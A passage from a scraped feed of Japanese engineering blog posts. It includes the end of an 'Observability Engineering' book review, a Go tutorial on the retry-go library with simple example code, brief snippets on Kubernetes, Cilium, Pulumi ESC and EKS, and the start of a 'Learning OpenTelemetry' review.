明確なオーナーシップ、説明責任、そして資金と時間の面でのスポンサーシップがなければ、進歩は難しいでしょう。オブザーバビリティ成熟度モデルが示す道筋本章から学んだ最も重要な教訓は、オブザーバビリティ成熟度モデルが、組織が望ましい成果を測定し、独自のカスタマイズされた採用パスを作成するための出発点を提供するということです。オブザーバビリティの実践を成熟させた高パフォーマンスチームを牽引する重要な能力は、以下の軸に沿って測定されます。システム障害にレジリエンスを持って対応する方法高品質のコードを容易に提供できる方法複雑性と技術的負債を適切に管理する方法ソフトウェアのリリースペースが予測可能である方法ユーザーの行動を適切に理解できる方法OMMは、オブザーバビリティを採用している組織全体で気づいた定性的な傾向と、ソフトウェアエンジニアリングの専門家を対象とした調査から得られた定量的な分析を組み合わせたものです。本章で示した結論は、2020年と2021年に実施された調査研究を反映しています。 成熟度モデル自体は、オブザーバビリティの採用が広がるにつれて進化していくでしょう。同様に、オブザーバビリティの実践も進化し、成熟への道のりは組織ごとに独自のものになるでしょう。しかし、本章は、組織が独自の実用的なアプローチを作成するための基礎を提供しています。私自身、SREとしてオブザーバビリティの導入に携わった経験から、著者の主張に強く共感しました。当初は、オブザーバビリティの成熟度を測定することは難しいと感じていました。しかし、OMMを使って自社の能力を評価し、優先順位を付けることで、オブザーバビリティ文化を組織全体に広めるためのロードマップを作成することができたのです。特に、「予測可能なペースでリリースする」能力の向上は、私たちのチームにとって大きな転機となりました。従来は、新機能のリリースが遅れがちで、お客様からのフィードバックを得るのに時間がかかっていました。オブザーバビリティを活用することで、リリースプロセスを可視化し、ボトルネックを特定して改善することができるようになったのです。 その結果、リリースペースが安定し、お客様満足度も向上しました。Chapter 22. Where to Go from Here「Chapter 22. Where to Go from Here」は、本書のまとめと今後のオブザーバビリティの展望について述べた、非常に示唆に富んだ一章でした。著者らは、オブザーバビリティの概念と実践が過去数年でどのように進化してきたかを振り返り、これからの方向性を予測しています。オブザーバビリティの定義の進化本章の冒頭で、著者らは本書の執筆に3年以上を要した理由を説明しています。その主な理由は、オブザーバビリティの状態が絶えず変化してきたことにあります。当初は、オブザーバビリティという用語自体を定義する必要があり、データのカーディナリティや次元といった概念も十分に理解されていませんでした。 また、オブザーバビリティとモニタリングが同義語として使われることも多く、その違いを説明するのに苦労したそうです。しかし、今では多くの人がオブザーバビリティの基本概念を理解し、モニタリングとの違いも認識されるようになってきました。人々が求めているのは、より洗練された分析と、オブザーバビリティの実践を成功させるための具体的なガイダンスなのです。本書の構成の変遷また、本書の構成も当初の予定から大きく変化したと著者らは述べています。最初は、より基本的な内容を扱う短い章立てでしたが、一般的な懸念事項や成功パターンが明らかになるにつれ、より深く詳細な内容を追加していったのです。 さらに、大規模なオブザーバビリティの実践から学んだ教訓も取り入れています。加えて、本書は競合他社に勤める人を含む複数のレビュアーとの共同作業の成果でもあります。著者らは、オブザーバビリティの最新の状態を包括的に反映するために、執筆プロセス全体を通して自らの見解を改訂し、幅広い視点を取り入れ、概念を再検討してきたのです。オブザーバビリティ採用の社会技術的課題読者からのフィードバックに基づき、著者らはオブザーバビリティの採用における社会技術的な課題についても追加しました。オブザーバビリティは、ツールを購入するだけでは実現できません。 それは、ソフトウェアの動作を理解する方法を変え、顧客との関係を変革する実践なのです。追加のリソース本章では、本書で扱えなかった重要なトピックを補完するための追加のリソースも紹介されています。SRE本、SLOの実装、OpenTelemetryの詳細など、オブザーバビリティに関連する様々な話題をカバーする書籍やブログが推奨されていました。オブザーバビリティの未来予測最後に、本書は今後のオブザーバビリティの展開について予測を示しています。2022年の発売で2年経過しているが概ねあっている。OpenTelemetryとオブザーバビリティの融合:OTelは、アプリケーションのインストルメンテーションのデファクトスタンダードになり、オブザーバビリティと不可分のものになるでしょう。フロントエンドアプリケーションへのオブザーバビリティの浸透:RUMや合成モニタリングに代わり、オブザーバビリティがフロントエンドのパフォーマンス理解とデバッグに使われるようになります。自動インストルメンテーションの進化:OTelの自動インストルメンテーションは、ベンダー固有のライブラリに匹敵するレベルに達し、カスタムインストルメンテーションと組み合わせて使われるでしょう。開発ワークフローの変革:オブザーバビリティは、コード変更が本番環境でユーザーにどう影響するかを理解するための不可欠なツールになります。それにより、開発者は迅速なフィードバックを得て、より良いソフトウェアを作れるようになるのです。オブザーバビリティ実践の継続的な進化著者らは、本書の結論として、オブザーバビリティが絶え間ない実践の進化であることを強調しています。 高カーディナリティと高次元のテレメトリデータを自在に分析し、コア分析ループを使って問題の根本原因を迅速に特定できるようになることが、オブザーバビリティの本質なのです。そして、オブザーバビリティの実践は、技術の進歩とともに進化し続けるでしょう。本書が提示したのは、その進化の道筋を示す一つの地図に過ぎません。 実際の道のりは、それぞれの組織に固有のものになるはずです。私自身、SREとしてオブザーバビリティの導入に携わってきた経験から、著者らの主張に強く共感しました。オブザーバビリティは、単なるツールの導入ではなく、ソフトウェアの信頼性を追求する終わりなき旅なのだと実感しています。 本章で得た洞察を糧に、その旅を続けていきたいと思います。さいごに本書『Observability Engineering』は、現代のソフトウェアシステムが直面する複雑性という難題に対し、オブザーバビリティという解決策を提示してくれる、極めて示唆に富んだ一冊でした。オブザーバビリティは、単なるツールや技術の問題ではありません。それは、システムと向き合い、その内部を深く理解するための思想であり、文化なのです。オブザーバビリティの実践は、エンジニアリングチームの働き方を変え、組織のあり方そのものを変革していく営みなのだと、今までの経験と本書を通じて強く実感させられました。著者らが繰り返し強調しているように、オブザーバビリティの旅に終わりはありません。技術は常に進化し、システムはますます複雑になっていきます。そうした中で、オブザーバビリティのベストプラクティスもまた、絶え間ない進化を求められるのです。しかし、その本質は不変です。システムの真の姿を捉え、ユーザーに価値を届け続けること。それこそが、私たちソフトウェアエンジニアに課せられた使命なのだと、改めて思い知らされました。本書で得た学びを胸に、オブザーバビリティの実践を重ね、その輪を広げていくことが、私にできる重要な責務だと感じています。最後に、本書の著者をはじめ、オブザーバビリティの発展に尽力されてきた方々に、心からの敬意と感謝を表します。皆さんの献身的な努力なくして、今日のオブザーバビリティの隆盛はありませんでした。皆さんが切り拓いてくださった道の上を、私もまた歩んでいくことを誓います。そして、本ブログ読者の皆さまにも感謝を申し上げます。1つ1つの気づきや学びを積み重ねることが、私たち自身の成長につながるだけでなく、ひいては業界全体の発展にもつながるのだと信じています。引き続き、オブザーバビリティについて学び、実践し、議論を深めていければとおもいます。あと、この手のタイプの読書感想文は家でちまちま書くことでしか成立しないので生活が変わったらやめます。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。今週の金曜日が誕生日なので祝っていただけても嬉しいです。参考資料Exponential Histogram?OpenTelemetryが気になってるけど実際に始めて「なるほどね」ってなるにはどうしたらいいかについて15分でまとめて喋りますOpenTelemetry を使ったトレースエグザンプラーの活用 / otel-trace-exemplarオブザーバビリティの Primary SignalsOn the general theory of control systemsWhy Intuitive Troubleshooting Has Stopped Working for YouControl theory | wiki制御理論 | wikiScuba: Diving into Data at FacebookChoose Boring TechnologyUnicorn)State of DevOps 2019CNCF Cloud Native Definition v1.1Ep. #11, Chaos Engineering with Ana Medina of GremlinChaos Engineering ObservabilityHow Time Series Databases Work—and Where They Don\'tイベント(Event)の構造化データDapper, a Large-Scale Distributed Systems Tracing InfrastructureEvolving Distributed Tracing at Uber EngineeringZipkinServiceNow Cloud ObservabilityHoneycombAWS X-Ray and Step FunctionsOpenTelemetry | DocumentationWaterfall chart【OpenTelemetry】オブザーバビリティバックエンド8種食べ比べtracingからAttributesを付与してmetricsを出力できるようにtracing-opentelemetryにPRを送ったAccelerateThe Staff Engineer\'s PathTest-driven developmentWhen Doing Wrong Feels So Right: Normalization of DevianceTying These Principles TogetherService Level ObjectivesImplementing Service Level ObjectivesMoving Past Shallow Incident DataObservability Maturity Community Research Findings Q1, 2020Observability Maturity Community Research Findings 2021Observability Survey 2023The State of Observability 2023OpenTelemetry (OTel) Is Key to Avoiding Vendor Lock-inジョインしたチームのマイクロサービスたちを再計装した話 / Getting started tracing instrument micro service with OpenTelemetryOpenTelemetryのここ4年の流れ / OpenTelemetry in last 4+ yearsペパボOpenTelemetry革命OpenTelemetry Collector 自身のモニタリング / Monitoring the OpenTelemetry Collector itself5分でわかるGoの自動計装Building a ServiceMap with Service Graph ConnectorHoneycombとOpenTelemetryでオブザーバビリティに入門してみる自家版semconvの夢サービスメッシュ環境における OpenTelemetry 活用 / OpenTelemetry in Service MeshOpenTelemetry のサービスという概念についてOpenTelemetry実践 はじめの一歩AWS Distro for OpenTelemetry (ADOT) の紹介監視論Ⅳ ~監視からオブザーバビリティーへの招待~オブザーバビリティで理解するコンピュータサイエンス監視論 ~SREと次世代MSP~","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/06/090014","isoDate":"2024-05-06T00:00:14.000Z","dateMiliSeconds":1714953614000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~","contentSnippet":"自己紹介 小林 インターン生のの小林です。大学では、ネットワーク系の研究を行っています。もともとセキュリティやネットワークに興味があり、SREやインフラ領域のスキル向上になると思い、本インターンに参加しました。 中村 イ […]The post Ciliumのkube-proxy置き換えに関する調査 ~ GKE Dataplane V1・V2 の比較 ~ first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/cilium-kube-proxy-replacement/","isoDate":"2024-05-05T23:59:27.000Z","dateMiliSeconds":1714953567000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Pulumi ESC を使ってみる","contentSnippet":"概要Pulumi ESC (Environments, Secrets, and Configuration)クラウドインフラとアプリケーションの secret と configuration を管理できるPulumi Cloud で利用可能なマネージドサービス2023/10 にリリース現在はプレビュー段階 ドキュメントに記載されている内容をざっくり要約Pulumi ESC はクラウド環境における secret と configuration の複雑さに対処し、メンテナンスの負担を軽減し、コストのかかるミスを減らし、「secure by default」な体制を構...","link":"https://zenn.dev/z63d/articles/496f787cda423c","isoDate":"2024-05-05T04:36:28.000Z","dateMiliSeconds":1714883788000,"authorName":"Kaita Nakamura","authorId":"kaita-nakamura"},{"title":"リトライ処理を追加するとバッチが安定することがあることもそこそこあるので「avast/retry-go」を使ってみる","contentSnippet":"はじめにインフラエンジニアは日々の業務でプログラムを書く機会が多く、その中で処理の実行やHTTPの通信などでリトライ処理を実装する必要があることが少なくありません。リトライ処理を実装する必要は必ずしもなくても、実装することでバッチが安定することがあります。もっと言っておくとリトライ処理を実装することで、一時的なエラーによる処理の失敗を回避し、バッチ処理の安定性が向上する可能性があります。実行基盤によってジョブの再試行の自動化、最大再試行回数を設定するやPod失敗のバックオフポリシーなどとの兼ね合いを考える必要もあると思います。あとはマジでガー不のバグを引き寄せることもあるので注意が必要です。はじめにシンプルな例最大リトライ回数の指定次のリトライまでの待ち時間の設定特定の例外のみリトライするケースさいごに今回はGolangには「retry-go」というリトライ処理を簡潔に実装できるライブラリがあり、これを使うと非常に簡単にリトライ機能を追加できます。シェルスクリプトでも簡単に実装できるのですが今回は紹介しない。avast/retry-goは、リトライ処理を実装するための便利なライブラリです。このライブラリを使えば、ごく少ない行数でリトライ機能を実装できます。github.comインストールはgo get github.com/avast/retry-goで行えます。このライブラリの使い方は非常に簡単です。リトライ対象の処理をラップするだけで、設定した回数とウェイト時間に従ってリトライが実行されます。設定可能なオプションも豊富で、リトライ条件やログ出力など細かなカスタマイズも可能です。リトライ処理の実装は、単純に見えて一歩踏み込もうとすると意外と難しい面があります。retyr-goを使えば、そういった難しさから開放され、安定したリトライ処理を簡単に実装できます。バッチ処理の安定性向上に役立つことは間違いありません。Golangを使ったプログラミングにおいて、retry-goはリトライ処理の実装を格段に簡単にしてくれる強力なライブラリです。ぜひ一度試してみてはいかがでしょうか。シンプルな例使い方は簡単で、retry.Doを使って対象の関数をラップするだけでリトライ処理を実装できます。例外が発生した場合にはリトライが行われ、何も例外が発生しなければ値が返ってきます。package mainimport ( \\"fmt\\" \\"math/rand\\" \\"github.com/avast/retry-go\\")func randomErrorSimple() error { num := rand.Intn(10) if num > 2 { fmt.Printf(\\"Error: num=%d\\\\n\\", num) return fmt.Errorf(\\"Error!\\") } fmt.Printf(\\"Success: num=%d\\\\n\\", num) return nil}func main() { err := retry.Do( randomErrorSimple, ) if err != nil { fmt.Printf(\\"Error: %v\\\\n\\", err) }}実際に実行してみる。3回失敗して4回目にError値が返っていないので通常に終了。$ go run main.goError: num=5Error: num=4Error: num=3Success: num=0最大リトライ回数の指定retry.Attemptsを使うと、指定した回数だけリトライを行うことができます。指定した回数に達した後に例外が発生した場合はエラーが返されます。package mainimport ( \\"fmt\\" \\"github.com/avast/retry-go\\")func errorWithMaxAttempts() error { fmt.Println(\\"Error occurred!\\") return fmt.Errorf(\\"Error occurred!\\")}func main() { retryWithMaxAttempts()}func retryWithMaxAttempts() { err := retry.Do( errorWithMaxAttempts, retry.Attempts(3), ) if err != nil { fmt.Println(\\"3 times failed\\") }}実際に実行すると3回失敗して終了している。$ go run main.go Error occurred!Error occurred!Error occurred!3 times failed次のリトライまでの待ち時間の設定retry.Delayを使って、次のリトライまで指定した時間待つことができます。例えば、APIのレート制限に引っかかって例外が発生した場合などに便利です。package mainimport ( \\"fmt\\" \\"time\\" \\"github.com/avast/retry-go\\")func errorWithDelay() error { now := time.Now().Format(\\"15:04:05\\") fmt.Printf(\\"Error occurred!: %s\\\\n\\", now) return fmt.Errorf(\\"Error occurred!\\")}func main() { retryWithDelay()}func retryWithDelay() { err := retry.Do( errorWithDelay, retry.Attempts(3), retry.Delay(3*time.Second), ) if err != nil { fmt.Println(\\"3 times failed\\") }}実行結果は以下のようになる。ちゃんと待ち時間を指定できている。$ go run main.go Error occurred!: 01:35:16Error occurred!: 01:35:20Error occurred!: 01:35:263 times failed特定の例外のみリトライするケースretry.RetryIfでリトライする場合の例外条件を指定することができます。特定の例外が発生した場合のみリトライ処理を行うことができます。package mainimport ( \\"fmt\\" \\"github.com/avast/retry-go\\")func errorWithSpecificError(num int) error { if num == 0 { fmt.Println(\\"0 is invalid\\") return fmt.Errorf(\\"value error\\") } return fmt.Errorf(\\"Error occurred!: num=%d\\", num)}func main() { retryWithSpecificError()}func retryWithSpecificError() { err := retry.Do( func() error { return errorWithSpecificError(0) }, retry.Attempts(3), retry.RetryIf(func(err error) bool { return err.Error() == \\"value error\\" }), ) if err != nil { fmt.Println(\\"Value Error occurred\\") } err = retry.Do( func() error { return errorWithSpecificError(1) }, ) if err != nil { fmt.Printf(\\"%v\\\\n\\", err) }}実行結果です。$ go run main.go0 is invalid0 is invalid0 is invalidValue Error occurredさいごにretry-goを使用することでお手軽にリトライ処理を追加できて便利です。特に、最大リトライ回数の設定、次のリトライまでの待ち時間の設定、特定の例外のみリトライするケースなど、様々な状況に対応できる機能が用意されています。他にも色々な機能があるので気になった方は公式ドキュメントを見てみてください。github.com","link":"https://syu-m-5151.hatenablog.com/entry/2024/05/02/114958","isoDate":"2024-05-02T02:49:58.000Z","dateMiliSeconds":1714618198000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"【2024年夏期インターン】SREの技術について学びたいインターン募集!","contentSnippet":"リモートで開催する2週間程度で、技術に関する研究を行うインターンシッププログラムとなっています!当社SREエンジニアがメンターとしてサポートし、知識に不安をお持ちの方のために事前学習の期間を設けておりますので、インフラ、 […]The post 【2024年夏期インターン】SREの技術について学びたいインターン募集! first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/summer_intern/","isoDate":"2024-05-01T03:27:01.000Z","dateMiliSeconds":1714534021000,"authorName":"Sreake","authorId":"Sreake"},{"title":"スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)は、 クラウドへのインフラストラクチャ移行を支援する Google Cloud Infrastructure Moderniza […]The post スリーシェイク、 Google Cloud Infrastructure Modernization 支援パートナープログラムに賛同 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/gcim/","isoDate":"2024-04-30T07:15:12.000Z","dateMiliSeconds":1714461312000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[Kubernetes 1.30] Dynamic Resource Allocation の再構築","contentSnippet":"!Kubernetes 1.30 時点でアルファ機能のため、実装が大きく変わる可能性があります。[Kubernetes 1.27] Dynamic Resource Allocation のいまで紹介した Dynamic Resource Allocation (DRA) の内部的な仕組みに Kubernetes 1.30 で大きく変更が入ることになりました。内部的な仕組みの変更なので、ユーザー視点ではこれまでと利用方法は変わりません。ResourceClass に追加されたフィールドを有効にしないと新しい仕組みが使えないため、クラスタ管理者は対応が必要になります。世界的に AI...","link":"https://zenn.dev/toversus/articles/5bbd68e507f28d","isoDate":"2024-04-30T06:43:41.000Z","dateMiliSeconds":1714459421000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"Wireguard Exporter と Grafana Alloy で VPN 通信量を可視化","contentSnippet":"先日、家のラズパイに Grafana Alloy をセットアップしてメトリクス可視化の環境はできているので WireGuard での VPN 通信のメトリクスを可視化してみようかなと試してみまし","link":"https://blog.1q77.com/2024/04/wireguard-exporter/","isoDate":"2024-04-28T12:57:31.000Z","dateMiliSeconds":1714309051000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Istio Ambient Mesh の inpod redirection 試してみた","contentSnippet":"先日Istio 1.21.0がリリースされ ambient meshにinpod redirectionが実装されました。(ambient meshはまだalphaなので本番環境では非推奨です) inpod redire […]The post Istio Ambient Mesh の inpod redirection 試してみた first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/istio-ambient-mesh-inpod-redirection/","isoDate":"2024-04-23T06:05:05.000Z","dateMiliSeconds":1713852305000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Dev Containerを使ってみよう","contentSnippet":"Dev Containerを使ってみようDev Containerを使う上で知っておくと良さげな情報のまとめ記事です前にRemote SSHでDev Containerの環境を構築する記事を書いたので、今回はDev Container全般の情報をまとめてみましたhttps://zenn.dev/bells17/articles/remote-ssh-devcontainer tl;drDev Containerを使うと開発環境をコンテナで構築できるよ(ランタイムとかツール類含めて!)docker composeだとアプリケーションを動作させる環境は作れるけどDev C...","link":"https://zenn.dev/bells17/articles/devcontainer-2024","isoDate":"2024-04-22T18:05:48.000Z","dateMiliSeconds":1713809148000,"authorName":"bells17","authorId":"bells17"},{"title":"「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇","contentSnippet":"株式会社スリーシェイク(本社:東京都新宿区、代表取締役社長:吉田 拓真、以下スリーシェイク)に在籍するエンジニアが、独立行政法人情報処理推進機構と一般社団法人セキュリティ・キャンプ協議会が共催する「セキュリティ・キャンプ […]The post 「セキュリティ・キャンプ全国大会2024」にスリーシェイクのエンジニアが講師として登壇 first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/security/","isoDate":"2024-04-22T01:07:46.000Z","dateMiliSeconds":1713748066000,"authorName":"Sreake","authorId":"Sreake"},{"title":"Google Cloud Next ‘24 参加レポート","contentSnippet":"参加レポート タイトルの通りラスベガスにて4/9から11まで開催されていた Google Cloud Next’24 に参加してきました。 今回は Google Cloud Partner Top Engineer 20 […]The post Google Cloud Next ‘24 参加レポート first appeared on sreake.com | 株式会社スリーシェイク.","link":"https://sreake.com/blog/google-cloud-next-24-report/","isoDate":"2024-04-17T23:00:00.000Z","dateMiliSeconds":1713394800000,"authorName":"Sreake","authorId":"Sreake"},{"title":"[EKS] Amazon Linux 2023 への移行","contentSnippet":"2024/2/29 に Amazon Linux 2023 が EKS で正式サポートされました。全てのリージョンの Karpenter Node、マネージドノードグループ、セルフマネージドノードグループで利用可能です。現在 EKS でサポート対象の 1.25 以降に加えて、延長サポートに入っている EKS 1.23 / 1.24 でも利用できます。Amazon Linux 2023 のサポートに関しては Amazon EKS-Optimized Amazon Linux 2023 AMIs Now Available のブログに詳細がまとまっています。 セキュリティ機能の強化Am...","link":"https://zenn.dev/toversus/articles/a4bbd2047bbba1","isoDate":"2024-04-17T00:22:38.000Z","dateMiliSeconds":1713313358000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"5年後には標準になっている可観測性のこと - Learning Opentelemetry の読書感想文","contentSnippet":"はじめに本稿は、オープンソースの可観測性(Observability)プロジェクトである OpenTelemetry を取り上げた書籍「Learning Opentelemetry」の読書感想文です。従来の可観測性の課題であったデータの分断を解消し、トレース、メトリクス、ログなどの様々なテレメトリデータを統合的に扱うことができる OpenTelemetry は、可観測性の分野における革命的な存在と言えます。過去10年間で、可観測性はニッチな分野から、クラウドネイティブの世界のあらゆる部分に影響を与える数十億ドル規模の産業へと発展しました。しかし、効果的な可観測性の鍵は、高品質のテレメトリデータにあります。OpenTelemetryは、このデータを提供し、次世代の可観測性ツールと実践を開始することを目的としたプロジェクトです。learning.oreilly.com本書の想定読者は、アプリケーション開発者、オープンソースのメンテナー、運用・インフラチーム、マネージャーやチームリーダーなど幅広く設定されています。現代の可観測性の原則から、OpenTelemetry の導入、運用、トラブルシューティングに至るまで、大規模な組織における可観測性の実現に必要な知識が網羅的に提供されているのが特徴です。私が業務で利用している技術スタックの実装の詳細については説明されていませんでしたが、全てを網羅することは文量の制約がある以上、不可能であることは理解しています。また、実際に導入する際には泥臭い部分が相応に出てくるのですが、本書ではそれらがなんとなく回避されているようにも感じられ、Opentelemetryが万能の願望機に見えてしまうかもしれません。この辺りについては、OpenTelemetry MeetupやOpenTelemetry Casual Talkなどで先駆者達とお話をすれば、徐々に理解が深まるのではないかと思います。opentelemetry.connpass.comはじめにChapter 1. The State of Modern ObservabilityObservabilityの重要性と課題OpenTelemetryとObservabilityの未来Chapter 2. Why Use OpenTelemetry?現代のソフトウェア開発における可観測性の課題OpenTelemetryがもたらす可観測性の未来Chapter 3. OpenTelemetry OverviewOpenTelemetryの主要コンポーネントOpenTelemetryのコンテキスト伝播SREにとってのOpenTelemetryの意義Chapter 4. The OpenTelemetry ArchitectureOpenTelemetryのアーキテクチャOpenTelemetryを活用したデモアプリケーションOpenTelemetryによる可観測性データの統一性と相関性OpenTelemetryの導入に向けてChapter 5. Instrumenting ApplicationsOpenTelemetryのセットアッププロセスOpenTelemetryの設定のベストプラクティスOpenTelemetryの計装のベストプラクティスOpenTelemetryの導入に向けた考察Chapter 6. Instrumenting Librariesライブラリの重要性と可観測性の意義OpenTelemetryによるライブラリ計装の課題解決ライブラリ計装のベストプラクティスと今後の展望Chapter 7. Observing Infrastructureクラウドプロバイダーのテレメトリデータの収集と活用Kubernetesプラットフォームにおける可観測性サーバーレスプラットフォームの可観測性非同期ワークフローの可観測性Chapter 8. Designing Telemetry PipelinesテレメトリパイプラインのトポロジーとCollectorの役割パイプラインオペレーションの重要性Collectorのセキュリティと運用テレメトリコストの管理Chapter 9. Rolling Out Observability可観測性の真の価値OpenTelemetryの展開における3つの格言OpenTelemetryの展開後の差別化本章のまとめと著者の主張おわりに参考資料以前、OpenTelemetry に関する社内勉強会の資料を作成した際、プロジェクトの全体像を理解することの難しさを感じました。OpenTelemetry は野心的なプロジェクトであり、各コンポーネントの役割や相互の関係性を把握するのは容易ではありません。国内でもOpenTelemetryに関するカンファレンスや勉強会が数多く開催されていますが、どのイベントに参加し、どの資料を読めば効率的に知識を習得できるのか、判断に迷うこともあります。しかし、本書は OpenTelemetry の設計思想から実践的な活用方法まで、体系的かつ平易に解説されており、可観測性に関する理解を深めるための良きガイドになるはずです。syu-m-5151.hatenablog.com近年、マイクロサービスアーキテクチャの普及やクラウドネイティブの進展に伴い、システムの複雑性は増す一方です。そのような環境において、可観測性は安定したサービス運用を実現するための鍵となります。本書を通じて、OpenTelemetry を活用した可観測性の向上について学び、自身の開発・運用プラクティスに活かしていきたいと思います。本書は、OpenTelemetryの重要性とその応用を探る実践的なガイドであり、可観測性の分野で必読の一冊と言えるでしょう。本書は、可観測性の世界でOpenTelemetryが中心的な役割を果たしていることを強調し、その価値と組織にもたらすメリットを第2章で解説します。続いて、OpenTelemetryのモデル、主要な可観測性シグナルの関連性、アプリケーションの計装方法、オープンソースライブラリやサービスの計装、ソフトウェアインフラストラクチャの観測オプション、可観測性パイプラインの構築、そして組織全体でのOpenTelemetryの展開戦略について詳細に説明します。各章は、トレース、メトリクス、ログなどの可観測性シグナルの理解を深め、高品質のテレメトリデータの確保、ライブラリの可観測性への取り組み、OpenTelemetry Collectorを用いたパイプライン構築、そして組織的なアプローチに至るまで、広範囲にわたる知識を提供します。Learning OpenTelemetry (English Edition)作者:Young, Ted,Parker, AustinO\'Reilly MediaAmazon本書は、OpenTelemetryを活用した可観測性の向上に向けた実践的な知見を得るための優れたリソースです。具体的な実装の詳細については、他の情報源も参照しながら、自身の環境に合わせて工夫していく必要がありますが、本書が提供する知識と洞察は、その過程で大いに役立つことでしょう。OpenTelemetryは可観測性の分野で大きな可能性を秘めたプロジェクトであり、本書はその理解と活用に向けた道しるべとなる一冊です。また、小項目は本書からの引用ではなくオレオレ分類です。本稿は同僚であり友人の俺ですにレビューしていただきました。改めて感謝申し上げます。hiroki-hasegawa.hatenablog.jpChapter 1. The State of Modern Observability本章を読んで、現代のソフトウェアシステムにおけるObservabilityの重要性と課題について理解を深めることができました。著者は、Observabilityの歴史を理解することが、現在のソフトウェアシステムの課題を解決するために不可欠であると主張しています。これは、冒頭の \\"History is not the past but a map of the past, drawn from a particular point of view, to be useful to the modern traveler:歴史とは過去ではなく、現代の旅行者に役立つように特定の視点から描かれた過去の地図である。\\" という言葉に端的に表されています。著者の主張を踏まえると、Observabilityの歴史を学ぶことは、現代のソフトウェアシステムの課題を解決するための重要な手がかりになるでしょう。私は壮大な物語が大好きなので、『サピエンス全史』なども好きなので紹介しておきます(なぜ?)。サピエンス全史 上下合本版 文明の構造と人類の幸福作者:ユヴァル・ノア・ハラリ河出書房新社Amazon国内では、OpenTelemetryのこれまでとこれからなどのセッションが参考になるかもしれません。OpenTelemetryは、オープンソースのObservabilityフレームワークであり、その発展の歴史とこれからの方向性を理解することは、現代のソフトウェアシステムにおけるObservabilityの課題を考える上で役立つと思われます。また、Observability Conferenceなどのカンファレンスでは、Observabilityに関する様々なセッションが開催されています。興味のあるセッションを幅広く視聴することで、Observabilityの現状と将来の可能性について、多角的な視点から学ぶことができるでしょう。cloudnativedays.jpObservabilityの重要性と課題本章では、まずObservabilityに関連する重要な用語の定義が述べられています。分散システム、リソース、トランザクション、テレメトリ、分析、Observabilityなど、これらの用語を正しく理解することは、Observabilityについて議論する上で欠かせません。特に、分散システムをリソースとトランザクションの観点から捉えることが重要だと感じました。リソースには、サーバー、コンテナ、プロセス、RAM、CPU、ネットワークカードなどの物理的コンポーネントと、クライアント、アプリケーション、APIエンドポイント、データベース、ロードバランサーなどの論理的コンポーネントが含まれます。一方、トランザクションは、ユーザーに代わってシステムが必要とするリソースを編成し、利用するリクエストを指します。Observabilityとは、これらのリソースとトランザクションの振る舞いを理解するための手段だと言えます。ウェブオペレーション ―サイト運用管理の実践テクニック (THEORY/IN/PRACTICE)オライリージャパンAmazon次に、テレメトリの歴史について触れられています。テレメトリは、電力プラントや公共電力網などの初期の分散システムを監視するために開発されたものであり、コンピュータシステムにおけるテレメトリは、ログ、メトリクス、分散トレーシングの順に発展してきました。これらは、現在の \\"Three Pillars of Observability:可観測性の3本柱\\" と呼ばれる概念の基礎となっています。これは本書だけが主張しているものではなく2022年にリリースされたObservability Engineeringにも言及があります。Figure 1-2. The three pillars of observability より引用ログは、システムやサービスの状態を説明する人間が読めるテキストベースのメッセージです。メトリクスは、システムの状態とリソース使用率を表すコンパクトな統計情報です。分散トレーシングは、トランザクションを構成する個々のオペレーションを追跡し、レイテンシーの原因を特定するために使用されます。これらの情報は、それぞれ専用のシステムで収集、伝送、分析されてきました。しかし、著者は \\"Three Pillars:3つの柱\\" アプローチの問題点を指摘しています。ログ、メトリクス、トレースが別々のシステムとして扱われているため、データが分断され、相関関係を見つけることが難しくなっているのです。現実のシステムはトランザクションとリソースで構成されており、問題の多くはこれらの相互作用から生じます。例えば、ログを見ただけでは、リソース使用率の変化パターンとの関連性を自動的に特定することはできません。そのため、データを統合し、相関関係を見つけることができるObservabilityシステムが必要となります。まぁ『TEMPLE: Six Pillars of Observability』みたいに6本柱として紹介している記事などもあるのでいろいろです。medium.com著者が提案するのは、\\"Single Braid of Data:データの単一の編み込み\\" というコンセプトです。これは、データが互いに組み合わさって一つの流れや構造を形成している様子を表す比喩的な表現として使われることがあります。特に、複数の情報源や種類のデータが統合されて一つの目的や分析のために活用される状況を想像すると良いでしょう。Figure 1-3. A braid of signals, making it easier to find correlations between them 